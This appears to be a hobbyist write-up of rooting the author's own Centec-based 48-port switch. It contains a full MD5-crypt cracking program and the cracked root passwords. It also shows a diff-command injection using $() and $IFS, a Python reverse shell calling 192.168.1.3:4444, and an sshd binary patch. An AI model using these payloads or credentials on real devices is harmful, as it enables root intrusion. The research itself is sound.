Introduction
I recently bought a Moondon MQ2-48T-4F switch. It has 48 2.5G copper ports, 4 10G SFP+ ports and 2 40G QSFP ports, which is very capable hardware. While watching the boot log over the console, I noticed the CPU is aarch64 and the log looks a lot like Linux. According to the seller the switch uses a Centec CTC 7132 platform, which convinced me the underlying OS was Linux. But that alone wasn’t enough to make me tear into it. What actually set me off is a very odd quirk: all four SFP+ ports belong to one port group whose speed must be changed together — they cannot be set individually. That meant I couldn’t plug 10G servers and an ONT stick that only runs at 2.5G into the four ports at the same time. So I decided to dig in.
Research Direction
The switch exposes several services: http, ssh and telnet. Its WebUI has a “File Management” feature from which the complete firmware uImage_v3.0.15.7.bin can be downloaded. So the direction was obvious: start from the firmware, then try to escape the CLI into the underlying Linux shell
Getting Started
Phase 1. Firmware Analysis
1.1 Unpacking
- With the firmware in hand, extract it with
binwalk
binwalk -e uImage_v3.0.15.7.binIt extracts three files: 53E8E4, 53E8E4.7z and D8. Check their sizes
-rw-r--r-- 1 nanami114 nanami114 189M Aug 15 21:41 53E8E4
-rw-r--r-- 1 nanami114 nanami114 32M Aug 15 21:41 53E8E4.7z
-rw-r--r-- 1 nanami114 nanami114 12M Aug 15 21:41 D8The first file is by far the largest, so extract it further
binwalk -e 53E8E4That yields one file and one directory:
-rw-r--r-- 1 nanami114 nanami114 189M Aug 15 21:42 0.cpio
drwxr-xr-x 18 nanami114 nanami114 4.0K Aug 15 21:47 cpio-rootEnter cpio-root and list it again to see the full kernel directory layout.
nanami114@NanamiWork-PC:~/_uImage_v3.0.15.7.bin.extracted/_53E8E4.extracted/cpio-root$ ls -lah
total 72K
drwxr-xr-x 18 nanami114 nanami114 4.0K Aug 15 21:47 .
drwxr-xr-x 3 nanami114 nanami114 4.0K Aug 15 21:42 ..
drwxr-xr-x 2 nanami114 nanami114 4.0K Aug 15 21:42 bin
lrwxrwxrwx 1 nanami114 nanami114 9 Aug 15 21:42 boot -> /dev/null
drwxr-xr-x 2 nanami114 nanami114 4.0K Aug 15 21:42 centec_switch
lrwxrwxrwx 1 nanami114 nanami114 9 Aug 15 21:42 conf -> /dev/null
drwxr-xr-x 2 nanami114 nanami114 4.0K Aug 15 21:42 data
drwxr-xr-x 2 nanami114 nanami114 4.0K Aug 15 21:42 dev
drwxr-xr-x 9 nanami114 nanami114 4.0K Aug 15 21:42 etc
lrwxrwxrwx 1 nanami114 nanami114 9 Aug 15 21:42 init -> /dev/null
drwxr-xr-x 2 nanami114 nanami114 4.0K Aug 15 21:42 lib
drwxr-xr-x 4 nanami114 nanami114 4.0K Aug 15 21:42 mnt
drwxr-xr-x 2 nanami114 nanami114 4.0K Aug 15 21:42 proc
drwxr-xr-x 2 nanami114 nanami114 4.0K Aug 15 21:42 root
drwxr-xr-x 2 nanami114 nanami114 4.0K Aug 15 21:42 sbin
drwxr-xr-x 2 nanami114 nanami114 4.0K Aug 15 21:42 sys
drwxrwxrwx 2 nanami114 nanami114 4.0K Aug 15 21:42 tftpboot
drwxr-xr-x 4 nanami114 nanami114 4.0K Aug 15 21:42 tmp
drwxr-xr-x 7 nanami114 nanami114 4.0K Aug 15 21:42 usr
drwxr-xr-x 8 nanami114 nanami114 4.0K Aug 15 21:42 varAt this point we can be certain: this is a Linux system.
1.2 Identifying the Kernel Version
- The extraction produced
53E8E4,53E8E4.7zandD8, andD8is an ARM64 Linux kernel image. We can pull the kernel version out of it by searching directly
nanami114@NanamiWork-PC:~/_uImage_v3.0.15.7.bin.extracted$ strings -n 10 D8 | grep -E "Linux version"
CLDK v20.01 Linux version 4.9.62-tsingma (sw@sw1) (gcc version 6.3.1 20170109 (Linaro GCC 6.3-2017.02) ) #1 SMP Mon Nov 18 01:01:48 CST 2024Cross-check it against a kernel module’s vermagic:
nanami114@NanamiWork-PC:~/_uImage_v3.0.15.7.bin.extracted/_53E8E4.extracted/cpio-root$ strings lib/peth_km.ko | grep vermagic
vermagic=4.9.62-tsingma SMP mod_unload aarch64
__UNIQUE_ID_vermagic8That gives us the platform’s basic information
| Item | Value |
|---|---|
| Kernel version | 4.9.62-tsingma (vendor LOCALVERSION) |
| Architecture | AArch64 (ARM64), SMP |
| Toolchain | Linaro GCC 6.3.1 (2017.02) |
| Build time | 2024-11-18 CST |
| Platform | Centec, CLDK v20.01 |
Q. Why cross-check with
vermagic? A. Strings inside the kernel image can be stripped or obfuscated, but a.komodule’svermagicis baked in at kernel build time. Only when both agree is the conclusion reliable.
Phase 2. Cracking the Password Hash
2.1 Finding the Target
The system’s /etc/passwd contains two real users
root:$1$ZrdxfwMZ$1xAj.S6emtA7gWD7iwmmm/:0:0:root:/root:/bin/sh
nms:$1$nUbsGtA7$5omXOHPNK.ZzNd5KeekUq/:0:0:root:/ftp:/bin/shThe $1$ prefix marks standard Unix MD5-crypt. That algorithm is ancient and very amenable to dictionary or brute-force attacks, so we go straight for brute force.
2.2 Cracking the MD5 Hash
For performance I wrote the cracker in C with OpenMP, using multiple threads in parallel to maximise speed. Here is the full code
/* md5crack.c — parallel MD5-crypt ($1$) cracker for the switch firmware.
* Usage: md5crack [dictfile]
* Target: root:$1$ZrdxfwMZ$1xAj.S6emtA7gWD7iwmmm/
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <time.h>
#include <omp.h>
/* ---------- minimal incremental MD5 ---------- */
typedef struct {
uint32_t state[4];
uint64_t total;
size_t buflen;
uint8_t buffer[64];
} MD5_CTX;
static const uint32_t K[64] = {
0xd76aa478,0xe8c7b756,0x242070db,0xc1bdceee,0xf57c0faf,0x4787c62a,0xa8304613,0xfd469501,
0x698098d8,0x8b44f7af,0xffff5bb1,0x895cd7be,0x6b901122,0xfd987193,0xa679438e,0x49b40821,
0xf61e2562,0xc040b340,0x265e5a51,0xe9b6c7aa,0xd62f105d,0x02441453,0xd8a1e681,0xe7d3fbc8,
0x21e1cde6,0xc33707d6,0xf4d50d87,0x455a14ed,0xa9e3e905,0xfcefa3f8,0x676f02d9,0x8d2a4c8a,
0xfffa3942,0x8771f681,0x6d9d6122,0xfde5380c,0xa4beea44,0x4bdecfa9,0xf6bb4b60,0xbebfbc70,
0x289b7ec6,0xeaa127fa,0xd4ef3085,0x04881d05,0xd9d4d039,0xe6db99e5,0x1fa27cf8,0xc4ac5665,
0xf4292244,0x432aff97,0xab9423a7,0xfc93a039,0x655b59c3,0x8f0ccc92,0xffeff47d,0x85845dd1,
0x6fa87e4f,0xfe2ce6e0,0xa3014314,0x4e0811a1,0xf7537e82,0xbd3af235,0x2ad7d2bb,0xeb86d391};
static const int S[64] = {
7,12,17,22,7,12,17,22,7,12,17,22,7,12,17,22,
5,9,14,20,5,9,14,20,5,9,14,20,5,9,14,20,
4,11,16,23,4,11,16,23,4,11,16,23,4,11,16,23,
6,10,15,21,6,10,15,21,6,10,15,21,6,10,15,21};
static inline uint32_t rotl(uint32_t x,int c){ return (x<<c)|(x>>(32-c)); }
static void md5_compress(MD5_CTX *c){
uint32_t a=c->state[0],b=c->state[1],cc=c->state[2],d=c->state[3];
const uint32_t *m=(const uint32_t*)(void*)c->buffer; /* little-endian host */
for(int i=0;i<64;i++){
uint32_t f; int g;
if(i<16){ f=(b&cc)|(~b&d); g=i; }
else if(i<32){ f=(d&b)|(~d&cc); g=(5*i+1)&15; }
else if(i<48){ f=b^cc^d; g=(3*i+5)&15; }
else { f=cc^(b|~d); g=(7*i)&15; }
uint32_t tmp=d;
d=cc; cc=b;
b+=rotl(a+f+K[i]+m[g],S[i]);
a=tmp;
}
c->state[0]+=a; c->state[1]+=b; c->state[2]+=cc; c->state[3]+=d;
}
static void md5_init(MD5_CTX *c){
c->state[0]=0x67452301; c->state[1]=0xefcdab89;
c->state[2]=0x98badcfe; c->state[3]=0x10325476;
c->total=0; c->buflen=0;
}
static void md5_update(MD5_CTX *c,const void *data,size_t len){
const uint8_t *p=(const uint8_t*)data;
c->total+=len;
if(c->buflen){
size_t need=64-c->buflen;
size_t take=len<need?len:need;
memcpy(c->buffer+c->buflen,p,take);
c->buflen+=take; p+=take; len-=take;
if(c->buflen==64){ md5_compress(c); c->buflen=0; }
}
while(len>=64){
memcpy(c->buffer,p,64);
md5_compress(c);
p+=64; len-=64;
}
if(len){ memcpy(c->buffer+c->buflen,p,len); c->buflen+=len; }
}
static void md5_final(MD5_CTX *c,uint8_t out[16]){
uint64_t bits=c->total*8;
md5_update(c,"\x80",1);
while((c->buflen&63)!=56) md5_update(c,"\x00",1);
uint8_t lenb[8];
for(int i=0;i<8;i++) lenb[i]=(uint8_t)(bits>>(8*i));
md5_update(c,lenb,8);
if(c->buflen) md5_compress(c);
for(int i=0;i<4;i++){
uint32_t v=c->state[i];
out[i*4]=(uint8_t)v; out[i*4+1]=(uint8_t)(v>>8);
out[i*4+2]=(uint8_t)(v>>16); out[i*4+3]=(uint8_t)(v>>24);
}
}
/* ---------- MD5-crypt ---------- */
static void md5crypt(const char *pw,size_t pwlen,const char *salt,size_t slen,uint8_t final[16]){
MD5_CTX ctx,ctx2;
uint8_t d[16];
md5_init(&ctx);
md5_update(&ctx,pw,pwlen);
md5_update(&ctx,"$1$",3);
md5_update(&ctx,salt,slen);
md5_init(&ctx2);
md5_update(&ctx2,pw,pwlen);
md5_update(&ctx2,salt,slen);
md5_update(&ctx2,pw,pwlen);
md5_final(&ctx2,d);
for(size_t i=0;i<pwlen;i++) md5_update(&ctx,d+(i&15),1);
size_t i=pwlen;
while(i){
if(i&1) md5_update(&ctx,"\x00",1);
else md5_update(&ctx,pw,1);
i>>=1;
}
md5_final(&ctx,final);
for(int it=0;it<1000;it++){
md5_init(&ctx2);
if(it&1) md5_update(&ctx2,pw,pwlen); else md5_update(&ctx2,final,16);
if(it%3) md5_update(&ctx2,salt,slen);
if(it%7) md5_update(&ctx2,pw,pwlen);
if(it&1) md5_update(&ctx2,final,16); else md5_update(&ctx2,pw,pwlen);
md5_final(&ctx2,final);
}
}
static const char ITOA64[]="./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
static void to64(uint32_t v,int n,char *out){
for(int i=0;i<n;i++){ out[i]=ITOA64[v&0x3f]; v>>=6; }
}
static void encode_final(const uint8_t final[16],char out[23]){
to64(((uint32_t)final[0]<<16)|((uint32_t)final[6]<<8)|final[12],4,out+0);
to64(((uint32_t)final[1]<<16)|((uint32_t)final[7]<<8)|final[13],4,out+4);
to64(((uint32_t)final[2]<<16)|((uint32_t)final[8]<<8)|final[14],4,out+8);
to64(((uint32_t)final[3]<<16)|((uint32_t)final[9]<<8)|final[15],4,out+12);
to64(((uint32_t)final[4]<<16)|((uint32_t)final[10]<<8)|final[5],4,out+16);
to64(final[11],2,out+20);
out[22]=0;
}
static const char TARGET[]="1xAj.S6emtA7gWD7iwmmm/";
static const char SALT[]="ZrdxfwMZ";
static volatile int FOUND=0;
static void test_pw(const char *pw,size_t len,const char *ctxlabel){
if(FOUND) return;
uint8_t final[16]; char b64[23];
md5crypt(pw,len,SALT,strlen(SALT),final);
encode_final(final,b64);
if(!strcmp(b64,TARGET)){
#pragma omp critical
{
if(!FOUND){
FOUND=1;
printf("[+] CRACKED root: %.*s (%s)\n",(int)len,pw,ctxlabel);
fflush(stdout);
}
}
}
}
/* index->candidate generator */
static void gen_comb(char *buf,const char *charset,int len,uint64_t idx){
int clen=(int)strlen(charset);
for(int i=len-1;i>=0;i--){ buf[i]=charset[idx%clen]; idx/=clen; }
buf[len]=0;
}
static void run_masks(void){
/* digits 1..8 */
for(int len=1;len<=8 && !FOUND;len++){
uint64_t n=1; for(int k=0;k<len;k++) n*=10;
char buf[64];
#pragma omp parallel for schedule(static,10000)
for(uint64_t idx=0;idx<n;idx++){
if(FOUND) continue;
gen_comb(buf,"0123456789",len,idx);
test_pw(buf,len,"digits");
}
fprintf(stderr,"[*] digits len %d done (%llu)\n",len,(unsigned long long)n);
}
/* lowercase 1..5 */
for(int len=1;len<=5 && !FOUND;len++){
uint64_t n=1; for(int k=0;k<len;k++) n*=26;
char buf[64];
#pragma omp parallel for schedule(static,10000)
for(uint64_t idx=0;idx<n;idx++){
if(FOUND) continue;
gen_comb(buf,"abcdefghijklmnopqrstuvwxyz",len,idx);
test_pw(buf,len,"lower");
}
fprintf(stderr,"[*] lower len %d done\n",len);
}
/* lowercase+digits 1..4 */
for(int len=1;len<=4 && !FOUND;len++){
uint64_t n=1; for(int k=0;k<len;k++) n*=36;
char buf[64];
#pragma omp parallel for schedule(static,10000)
for(uint64_t idx=0;idx<n;idx++){
if(FOUND) continue;
gen_comb(buf,"0123456789abcdefghijklmnopqrstuvwxyz",len,idx);
test_pw(buf,len,"lower+digit");
}
fprintf(stderr,"[*] lower+digit len %d done\n",len);
}
/* uppercase+digits 1..5 (short caps) */
for(int len=1;len<=5 && !FOUND;len++){
uint64_t n=1; for(int k=0;k<len;k++) n*=36;
char buf[64];
#pragma omp parallel for schedule(static,10000)
for(uint64_t idx=0;idx<n;idx++){
if(FOUND) continue;
gen_comb(buf,"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ",len,idx);
test_pw(buf,len,"upper+digit");
}
fprintf(stderr,"[*] upper+digit len %d done\n",len);
}
}
static void run_dictfile(const char *path){
FILE *f=fopen(path,"rb");
if(!f){ perror("fopen"); exit(1); }
fseek(f,0,SEEK_END); long sz=ftell(f); fseek(f,0,SEEK_SET);
char *data=malloc(sz+1);
size_t rd=fread(data,1,sz,f); fclose(f); data[rd]=0;
/* build line index */
size_t *idx=malloc(sizeof(size_t)*(rd+1));
size_t n=0; idx[n++]=0;
for(size_t i=0;i<rd;i++) if(data[i]=='\n') idx[n++]=i+1;
char **lines=malloc(sizeof(char*)*n);
size_t *lens=malloc(sizeof(size_t)*n);
long cnt=0;
for(size_t i=0;i+1<n;i++){
char *s=data+idx[i]; char *e=data+idx[i+1];
while(e>s && (e[-1]=='\n'||e[-1]=='\r')) e--;
if(e==s){ lines[cnt]=NULL; lens[cnt]=0; cnt++; continue; }
*e=0; lines[cnt]=s; lens[cnt]=(size_t)(e-s); cnt++;
}
fprintf(stderr,"[*] dict '%s': %ld candidates\n",path,cnt);
#pragma omp parallel for schedule(dynamic,1000)
for(long i=0;i<cnt;i++){
if(FOUND) continue;
if(lines[i]) test_pw(lines[i],lens[i],"dictionary");
}
}
int main(int argc,char **argv){
if(argc>1 && !strcmp(argv[1],"--selftest")){
/* openssl: openssl passwd -1 -salt ZrdxfwMZ root -> $1$ZrdxfwMZ$jCuG4i9D8aN4xLTQdbPr4. */
uint8_t f[16]; char b64[23];
md5crypt("root",4,"ZrdxfwMZ",8,f);
encode_final(f,b64);
printf("selftest: %s %s\n", b64,
strcmp(b64,"jCuG4i9D8aN4xLTQdbPr4.")==0?"OK":"FAIL");
return 0;
}
fprintf(stderr,"[*] md5crack: target root salt=%s b64=%s threads=%d\n",
SALT,TARGET,omp_get_max_threads());
if(argc>1) run_dictfile(argv[1]);
run_masks();
if(FOUND) fprintf(stderr,"[*] root password FOUND\n");
else fprintf(stderr,"[-] no match in current candidate set\n");
return FOUND?0:1;
}我们还需要下载 rockyou 密码库. 最终破解的结果如下
| 用户 | 密码 | 验证 |
|---|---|---|
nms | 123456 | openssl passwd -1 -salt nUbsGtA7 123456 完全匹配 |
root | !@# | openssl passwd -1 -salt ZrdxfwMZ '!@#' 完全匹配 |
到这里我们就拿到了 nms 和 root 用户的密码.
Phase 3. Trying to Log In Over SSH
At first I tried logging in over SSH as root, but every attempt failed. It quickly became clear that the system’s sshd is an OEM-modified build.
3.1 Spotting the Modification
- Inspecting sshd’s linked libraries shows vendor-private libraries and a pile of unusual imported symbols
nanami114@NanamiWork-PC:~/_uImage_v3.0.15.7.bin.extracted/_53E8E4.extracted/cpio-root$ objdump -T usr/sbin/sshd | grep -iE "password|authen|bmcli|cli_install"
0000000000000000 DF *UND* 0000000000000000 bmcli_start
0000000000000000 DF *UND* 0000000000000000 authen_client_new
0000000000000000 DF *UND* 0000000000000000 authen_client_start
0000000000000000 DF *UND* 0000000000000000 authen_client_free
0000000000000000 DF *UND* 0000000000000000 cli_install_gen
0000000000000000 DF *UND* 0000000000000000 host_password_check # 来自 libzos.so
0000000000000000 DF *UND* 0000000000000000 cli_install_config
0000000000000000 DF *UND* 0000000000000000 authen_api_msg_authen_request_send
0000000000000000 DF *UND* 0000000000000000 check_passwordStrings in the binary also show that after successful authentication sshd runs exec /usr/bin/imish, not a native Linux shell.
3.2 The Authentication Chain
- Decompiling
host_password_checkinlibzos.soshows it touches these files
/mnt/flash/.login_passwd_record
/mnt/flash/.login_passwd_record_tmp
/mnt/flash/.login_passwd_timestamp
/mnt/flash/.config_encryption.confFrom that we can conclude that SSH password authentication goes through the vendor’s own AAA framework. So the full authentication path is
SSH → modified sshd → host_password_check() (libzos)
→ authen_api_msg_authen_request_send() → authd/AAA
→ reads AES/3DES/RSA-encrypted /mnt/flash/.login_passwd_record from flash
→ on success → exec /usr/bin/imish (switch CLI, not a Linux shell)This also explains why the Linux credentials above couldn’t log in over SSH: it never uses Linux’s own authentication path.
Phase 4. Escaping to a Root Shell
4.1 First Observations
- Logging in to the switch CLI with the switch credentials drops you straight into the
Switch#privileged prompt. Listing the EXEC commands with?and combining that with the reverse engineering so far raised some questionscd,dir,ls,pwd,mkdir,delete,more,md5sumandtarall run from the CLI and appear to be wrapped Linux commandsbypass,copy,ftp,ssh,telnetanddebuglook suspicious, possibly privilege-escalation pathsrawswitchis a hidden command and the most suspicious of all
4.2 Attempting Injection
4.2.1 Semicolon / Pipe Injection
Switch# md5sum flash:/startup-config.conf; id
^
% Invalid input detected at '^' marker.The CLI interpreter rejects ; and |, so this path is dead.
4.2.2 $() Command Substitution
Switch# md5sum flash:/$(id)
% Invalid file name or directory name: flash:/$(id)imish whitelists filenames to [0-9a-zA-Z._-()]. $ isn’t allowed and is rejected before the shell ever sees it, so this fails too.
4.2.3 more Pager Escape
more flash:/startup-config.conf
... --More--(36%) ...Entering !id / :sh only pages through the file, so this doesn’t work either.
4.2.4 CVE-2026-3587 Hidden CLI Function Allows Root Access
This is a recent CVE I found online, and I tried it here too.
- After connecting over telnet, logging in and sending
\x1b[?25l\x1b[?2l\r\n, it returnsInvalid input, so this method doesn’t work
4.3 The Breakthrough
After everything above failed, I turned to that hidden rawswitch command.
Static analysis of the firmware had already shown ctc_shell / Enter rawswitch mode in the imish binary. At runtime the actual command is rawswitch.
Switch# rawswitch
CTC_CLI(ctc-sdk)#This drops us into the CTC SDK platform’s low-level CLI. ? lists a large command set
CTC_CLI(ctc-sdk)# ?
sdk SDK mode
debug Debug mode
internal Internal Debug mode
app App mode
cmodel Cmodel mode
dkits Dkits mode
stress Stress mode
show Show
clear Clear
acl ACL module
aging Aging module
aps Aps Module
boot boot command
bpe bpe module
cd Common cmd
check Check table or register
chip Chip module
ctune ctune
delay delay time
diag Diag module
diff Common cmd
dma dma
dot1ae Dot1AE
efd EFD module
end End current mode and change to EXEC mode
enter Enter
exit Exit current mode and down to previous mode
fcoe FCOE module
for For cmd
ftm Memory Allocation module
interrupt Interrupt module
ipfix IPFIX module
ipmc IPMC module
ipuc IPUC module
l2 Layer 2 module
l3if L3 interface module
lb-hash Load banlance hash
learning Learning module
linkagg Linkagg module
list List tables
local-mep Local MEP
ls Common cmd
memory Memory manger
mip MIP
mirror Mirror module
monitor Monitor Module
mpls Multi-Protocol Label Switching (MPLS)
nexthop Nexthop module
no Negate a command or set its defaults
npm NPM Module
oam OAM module
ofb ofb
overlay-tunnel overlay tunnel module, used to terminate an overlay tunnel
packet Packet module
parser Parser module
pdu Pdu module
port Port module
ptp PTP module
pwd Common cmd
qos QoS module
quit Exit current mode and down to previous mode
read Read table or register
remote-mep Remote MEP
rm delete file
route Route
scl SCL module
security Security module
source Common cmd
stacking Stacking
stats Statistics
stp Spanning Tree Protocol (STP)
sync-ether SyncE module
system System attribution
tclsh Common cmd
tftp tftp transmit
trill TRILL module
vi Common cmd
vlan VLAN module
warmboot Warmboot module
wlan WLAN module
write Write table or registerSeveral commands stand out
cd Common cmd
diff Common cmd
ls Common cmd
pwd Common cmd
source Common cmd
tclsh Common cmd
vi Common cmdThey are all annotated Common cmd, which suggests they may all be native Linux commands.
4.4 Ruling Out Each Common cmd Escape
- Decompiling
lib/libctcsdk.soto work out what each command actually does
| Command | Result |
|---|---|
tclsh | system("tclsh " + file), but there is no tclsh binary on the device → silent failure |
source | fopen the file and execute each line as a CTC CLI command (ctc_cmd_for_command), not a shell; only CLI commands run |
tftp | chdir("/mnt/flash/boot") then runs the tftp client; the boot partition is read-only → nothing can be written |
vi | system("vi " + file), busybox vi, but full-screen interaction breaks over an SSH / Telnet pty |
copy | Can copy from tftp to flash, but refuses hidden filenames |
4.5 Trying Maintenance Mode
While browsing system files I noticed that /etc/login.sh reads
enter_minios=`cat /proc/cmdline | grep enter_minios`
if [ -z "$enter_minios" -a ! -f /mnt/flash/boot/.enter_minios ]; then
/usr/bin/imish
exit
fi
/bin/shThe logic is clear: if .enter_minios exists in /mnt/flash/boot, login gives you a real Linux shell.
4.5.1 Trying TFTP
I started a simple TFTP server locally holding the .enter_minios file, then tried to fetch it from the switch
tftp server-ip 192.168.1.3 filename .enter_miniosIt returned % tftp command execute NG. and the server never saw any packets.
Decompiling shows tftp does chdir("/mnt/flash/boot"); the boot partition is read-only, the client can’t create the local file, and nothing is sent.
4.5.2 Trying the copy Command
copy tftp://<serverAddr>/.enter_minios flash:/boot/.enter_miniosIt returned % Invalid destination file name. Combined with earlier findings, imish validates hidden names (those starting with .).
So I tried copying to a non-hidden name and then renaming.
copy tftp://<serverAddr>/.enter_minios flash:/boot/enter_minios
rename enter_minios .enter_miniosThat returned % Invalid destination file name ... should not be on hidden format, so rename validates hidden names as well.
4.5.3 Trying tar Extraction
I built a gzip tarball locally containing .enter_minios, downloaded it to the switch with tftp and extracted it.
tar xtract flash:/boot.tar.gz flash:/bootIt returned % Not support this command in flash:/boot directory, meaning the boot directory is protected.
So I built an archive containing boot/.enter_minios, downloaded it to the root directory and extracted there.
tar xtract flash:/boot.tar.gz flash:/It returned tar: cannot remove old file: Read-only file system, which makes it clear: the boot partition is read-only.
Q. Why did the earlier
copyseem to work? A. In fact it didn’t. Checking the filesystem showed noenter_miniosin/mnt/flash/boot. Even bypassing the filename validation doesn’t help when the partition is read-only.
4.6 Injection via the diff Command
- Decompiling
cli_com_diffinlibctcsdk.soshows the logic
sprintf(buf, "diff %s %s", argv[0], argv[1]);
system(buf);As you can see, the two arguments after diff are not escaped and go straight into system()! This is clearly the biggest opening.
- However, as discovered earlier, injected commands can’t contain spaces, so we substitute
$IFS. Let’s try
diff /etc/passwd $(id)That produced no output and no error. My guess was that imish suppresses the output, so I redirected it to a file
diff /etc/passwd $(id>/mnt/flash/UIDOUT)Still nothing.
- Reading the file with the built-in
morecommand
Switch# more flash:/UIDOUT
uid=0(root) gid=0(root)We had a root shell!
4.7 Getting a Reverse Shell
Browsing the system files again, the device ships a Python 2.7, which is a huge opening for getting a proper shell.
- I had an AI write a reverse shell script
import socket,subprocess,os,sys
if os.fork() > 0: sys.exit(0) # 第一次 fork,父进程退出 → 命令替换立即完成
os.setsid()
if os.fork() > 0: sys.exit(0) # 二次 fork 彻底脱离
devnull = os.open("/dev/null", os.O_RDWR)
os.dup2(devnull,0); os.dup2(devnull,1); os.dup2(devnull,2) # 关掉替换管道 → 不阻塞
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.3", 4444))
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2)
subprocess.call(["/bin/sh","-i"])- Upload it
copy tftp://<serverAddr>/rev.py flash:/rev.py- Start a listener locally
ncat -lvnp 4444- Trigger it
rawswitch
diff /etc/passwd $(/usr/bin/python2.7$IFS/mnt/flash/rev.py)After triggering, the listener had a root shell!
/mnt/flash/boot # id
uid=0(root) gid=0(root)
/mnt/flash/boot # uname -a
Linux Switch 4.9.62-tsingma #1 SMP Mon Nov 18 01:01:48 CST 2024 aarch64The information matches the static analysis exactly, which closes the loop on the whole chain.
Phase 5. Making the SSH Shell Persistent
Now that we have a shell, we can try patching sshd so it starts a real Linux shell instead of imish.
5.1 Analysing the Firmware
| Item | Finding |
|---|---|
rootfs (including /usr/sbin/sshd) | rootfs on / type rootfs (rw) — ramfs, writable; the running sshd can be modified directly |
/mnt/flash (data) | ext4 rw |
/mnt/flash/boot (boot) | ext4 ro, holds uImage (kernel + initramfs) |
| Persistence | rootfs is re-extracted from uImage on every boot; no hook from /mnt/flash at startup |
| telnet | telnetd -l /usr/bin/imish — the real imish, unrelated to sshd |
So persisting the modified sshd would require modifying the uImage on the boot partition. That risks bricking the device, so I decided to keep it temporary first.
5.2 Static Analysis of sshd
Let’s work out how sshd calls imish.
- Look up the string offset
nanami114@NanamiWork-PC:~/_uImage_v3.0.15.7.bin.extracted/_53E8E4.extracted/cpio-root$ strings -t x usr/sbin/sshd | grep /usr/bin/imish
7bd90 /usr/bin/imishSo the string offset is 7bd90.
- Decompiling
bmcli_startinlibzos.soshows it creates a socket, registers, records a pid and adds a timer. It is not whereimishis exec’d. - Confirm the offset matches in the running binary:
dd if=/usr/sbin/sshd bs=1 skip=507280 count=14→/usr/bin/imish
0x7bd90 = 507280. The rodata VA differs from the file offset by0x4000000, so the string VA is0x47BD90.
5.3 Attempting the Patch
5.3.1 printf | dd conv=notrunc
printf '/bin/sh\0\0\0\0\0\0\0\0\0' | dd of=/usr/sbin/sshd bs=1 seek=507280 conv=notruncResult: dd printed busybox usage text — this busybox dd only supports if/of/bs/count/skip/seek, no conv=, so it errors out.
5.3.2 Python open("r+b") seek/write
python2.7 -c 'f=open("/usr/sbin/sshd","r+b");f.seek(507280);f.write("/bin/sh"+"\x00"*7);f.close()'Result: IOError: [Errno 26] Text file busy: '/usr/sbin/sshd'. Linux won’t let you write to a running binary.
5.3.3 The Null-Byte Trap in the Reverse Shell
Running dd through the reverse shell (which outputs null bytes) makes busybox sh -i hang at a > continuation prompt, and every later command is lost.
5.3.4 Patching Straight to /bin/sh
That fails with -sh: illegal option -h. When sshd execs imish it passes imish’s arguments, and they reach /bin/sh verbatim, which doesn’t understand them.
5.3.5 The Wrapper Approach
Patch to a wrapper script that ignores every argument and execs a clean /bin/sh
#!/bin/sh
exec /bin/shStored it at /tmp/ws and changed the sshd offset to /tmp/ws. That worked: logging in over SSH with the switch credentials now lands in a native Linux shell.

5.4 Writing a One-Click Script
I then wrote a one-click patch script to re-apply the sshd modification after a reboot.
import os, sys, time
if os.fork() > 0: sys.exit(0) # daemonize
os.setsid()
if os.fork() > 0: sys.exit(0)
os.dup2(os.open("/dev/null", os.O_RDWR), 0)
os.dup2(os.open("/dev/null", os.O_RDWR), 1)
os.dup2(os.open("/dev/null", os.O_RDWR), 2)
time.sleep(2) # 等注入/SSH 会话先结束
open("/tmp/ws", "w").write("#!/bin/sh\nexec /bin/sh\n") # 建 wrapper
os.chmod("/tmp/ws", 0o755)
os.system("killall sshd 2>/dev/null") # 先杀 sshd 才能写二进制
time.sleep(1)
NEW = "/tmp/ws" + "\x00" * 7 # 14 字节,与原字符串等长
for attempt in range(6):
try:
data = open("/usr/sbin/sshd", "rb").read()
data = data.replace("/usr/bin/imish", NEW) # 覆盖原始字符串
data = data.replace("/bin/sh\x00\x00\x00\x00\x00\x00\x00", NEW) # 覆盖上次的 /bin/sh
open("/usr/sbin/sshd", "wb").write(data)
break
except IOError: # ETXTBSY 重试
os.system("killall sshd 2>/dev/null"); time.sleep(1)
open("/mnt/flash/PY4.flag", "w").write("ok imish=%d\n" %
open("/usr/sbin/sshd","rb").read().count("/usr/bin/imish"))
os.system("nohup /usr/sbin/sshd -6 >/dev/null 2>&1 &") # 重启 sshd(原启动参数是 -6)Trigger it with the diff injection
CTC_CLI(ctc-sdk)# diff /etc/passwd $(/usr/bin/python2.7$IFS/mnt/flash/patch.py)5.5 Locking Myself Out and Recovering
After patching to /bin/sh (broken), every SSH connection failed and dropped immediately, locking me out of the SSH injection channel.
- I switched to the telnet channel to recover
Switch# copy tftp://<serverAddr>/patch.py flash:/patch.py # 上传 v2
Switch# rawswitch
CTC_CLI(ctc-sdk)# diff /etc/passwd $(/usr/bin/python2.7$IFS/mnt/flash/patch.py)5.6 Verifying the Result
- SSH login:
/mnt/flash # id
uid=0(root) gid=0(root)- Telnet login:
Switch# show ver
Switch Software, S5048, Version 3.0.15.7
Copyright (C) Switch. All Rights Reserved.
The current running image is flash:/boot/uImage_v3.0.15.7.bin
Switch uptime is 0 days, 5 hours, 56 minutes
Hardware Type is 4X2Q-CL
Hardware Version is 4.1
SDRAM size 1024M
Flash size 8192M
BootRom Version is v1.0.8
System serial number is ***
Current Web Version is 3.0.17The switch’s native CLI is preserved, while the underlying Linux shell is also reachable.
That wraps up the whole exploitation process.
Summary
Looking back at the vulnerability analysis and the escape, the attack chain looks like this:
- Starting from firmware unpacking and static analysis, cracking the MD5 hashes in
/etc/passwdgave us device credentials, which revealed that SSH authentication is intercepted by the vendor’s private AAA framework, with only a restricted CLI behind it. - In the hidden
rawswitchdebug mode, thediffcommand turned out to have an unescapedsystem()injection point;$IFSgot around the space restriction and command substitution let us run Python for a reverse shell with root privileges. - Because
rootfsis writable, we replaced the/usr/bin/imishstring offset in thesshdbinary with awrapperscript, and wrote a one-clickpatchscript to re-apply it after every reboot, ending up withTelnetkeeping the factory CLI and SSH dropping straight into a Linux shell.
The full attack chain from firmware analysis to a root shell
Conclusion
- This article is for technical exchange only. All testing was done on private equipment. Do not use these techniques against public devices!
- This article was written with help from Claude Code + DeepSeek-V4-Flash
- A lot of trial and error has been omitted. If anything is wrong or missing, please point it out. Thank you!
